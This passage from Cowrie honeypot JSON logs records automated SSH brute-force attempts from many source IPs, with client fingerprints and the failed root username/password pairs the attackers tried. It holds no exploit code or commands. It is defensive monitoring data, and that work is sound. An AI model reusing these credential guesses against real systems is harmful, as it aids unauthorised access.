.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:45.314430Z","src_ip":"80.66.85.226","session":"660b8e026914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02081977","message":"login attempt [root/02081977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:45.592845Z","src_ip":"80.66.85.226","session":"660b8e026914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:46.686548Z","src_ip":"80.66.85.226","session":"660b8e026914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":60094,"dst_ip":"10.17.0.5","dst_port":22,"session":"5de0781c5fca","protocol":"ssh","message":"New connection: 87.156.182.84:60094 (10.17.0.5:22) [session: 5de0781c5fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:31.325714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:31.330552Z","src_ip":"87.156.182.84","session":"5de0781c5fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:31.443722Z","src_ip":"87.156.182.84","session":"5de0781c5fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx1qaz2wsx","message":"login attempt [root/1qaz2wsx1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:34.077152Z","src_ip":"87.156.182.84","session":"5de0781c5fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:35.200360Z","src_ip":"87.156.182.84","session":"5de0781c5fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53896,"dst_ip":"10.17.0.5","dst_port":22,"session":"697f6ae534aa","protocol":"ssh","message":"New connection: 62.133.62.83:53896 (10.17.0.5:22) [session: 697f6ae534aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:36.011406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:36.015522Z","src_ip":"62.133.62.83","session":"697f6ae534aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:36.101525Z","src_ip":"62.133.62.83","session":"697f6ae534aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creator","message":"login attempt [root/creator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:36.360679Z","src_ip":"62.133.62.83","session":"697f6ae534aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:34:37.448799Z","src_ip":"62.133.62.83","session":"697f6ae534aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.30092120170593,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:25.052672Z","src_ip":"137.184.5.188","session":"017d269d4f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38446,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde154573504","protocol":"ssh","message":"New connection: 103.176.20.57:38446 (159.203.135.109:22) [session: bde154573504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:40.465457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:40.471899Z","src_ip":"103.176.20.57","session":"bde154573504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:40.715686Z","src_ip":"103.176.20.57","session":"bde154573504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15051979","message":"login attempt [root/15051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:41.448599Z","src_ip":"103.176.20.57","session":"bde154573504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:42.696191Z","src_ip":"103.176.20.57","session":"bde154573504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57792,"dst_ip":"159.203.135.109","dst_port":22,"session":"43f0b258654f","protocol":"ssh","message":"New connection: 103.153.68.219:57792 (159.203.135.109:22) [session: 43f0b258654f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:52.513383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:52.517143Z","src_ip":"103.153.68.219","session":"43f0b258654f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:52.769522Z","src_ip":"103.153.68.219","session":"43f0b258654f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:53.529217Z","src_ip":"103.153.68.219","session":"43f0b258654f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:35:54.784793Z","src_ip":"103.153.68.219","session":"43f0b258654f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":42670,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e467b810b9","protocol":"ssh","message":"New connection: 194.113.233.25:42670 (159.203.135.109:22) [session: 95e467b810b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:36:27.641235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:36:27.644881Z","src_ip":"194.113.233.25","session":"95e467b810b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:36:27.727473Z","src_ip":"194.113.233.25","session":"95e467b810b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"040892","message":"login attempt [root/040892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:36:27.977898Z","src_ip":"194.113.233.25","session":"95e467b810b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:36:29.063920Z","src_ip":"194.113.233.25","session":"95e467b810b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42352,"dst_ip":"159.203.135.109","dst_port":22,"session":"9892ddda9840","protocol":"ssh","message":"New connection: 103.27.238.120:42352 (159.203.135.109:22) [session: 9892ddda9840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:09.425553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:09.429164Z","src_ip":"103.27.238.120","session":"9892ddda9840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:09.686147Z","src_ip":"103.27.238.120","session":"9892ddda9840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199810","message":"login attempt [root/199810] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:10.464360Z","src_ip":"103.27.238.120","session":"9892ddda9840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:11.724018Z","src_ip":"103.27.238.120","session":"9892ddda9840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9194c747cae4","protocol":"ssh","message":"New connection: 97.74.6.204:42612 (10.17.0.5:22) [session: 9194c747cae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:12.201678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:12.205131Z","src_ip":"97.74.6.204","session":"9194c747cae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:12.270930Z","src_ip":"97.74.6.204","session":"9194c747cae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afghanistan","password":"Kabul#Bitc0!n$M@st3r","message":"login attempt [afghanistan/Kabul#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:12.467562Z","src_ip":"97.74.6.204","session":"9194c747cae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:13.535453Z","src_ip":"97.74.6.204","session":"9194c747cae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55366,"dst_ip":"159.203.135.109","dst_port":22,"session":"936e276a4fa8","protocol":"ssh","message":"New connection: 103.77.242.62:55366 (159.203.135.109:22) [session: 936e276a4fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:42.285536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:42.289073Z","src_ip":"103.77.242.62","session":"936e276a4fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:42.528507Z","src_ip":"103.77.242.62","session":"936e276a4fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"197111","message":"login attempt [root/197111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:43.250112Z","src_ip":"103.77.242.62","session":"936e276a4fa8","protocol":"ssh"}
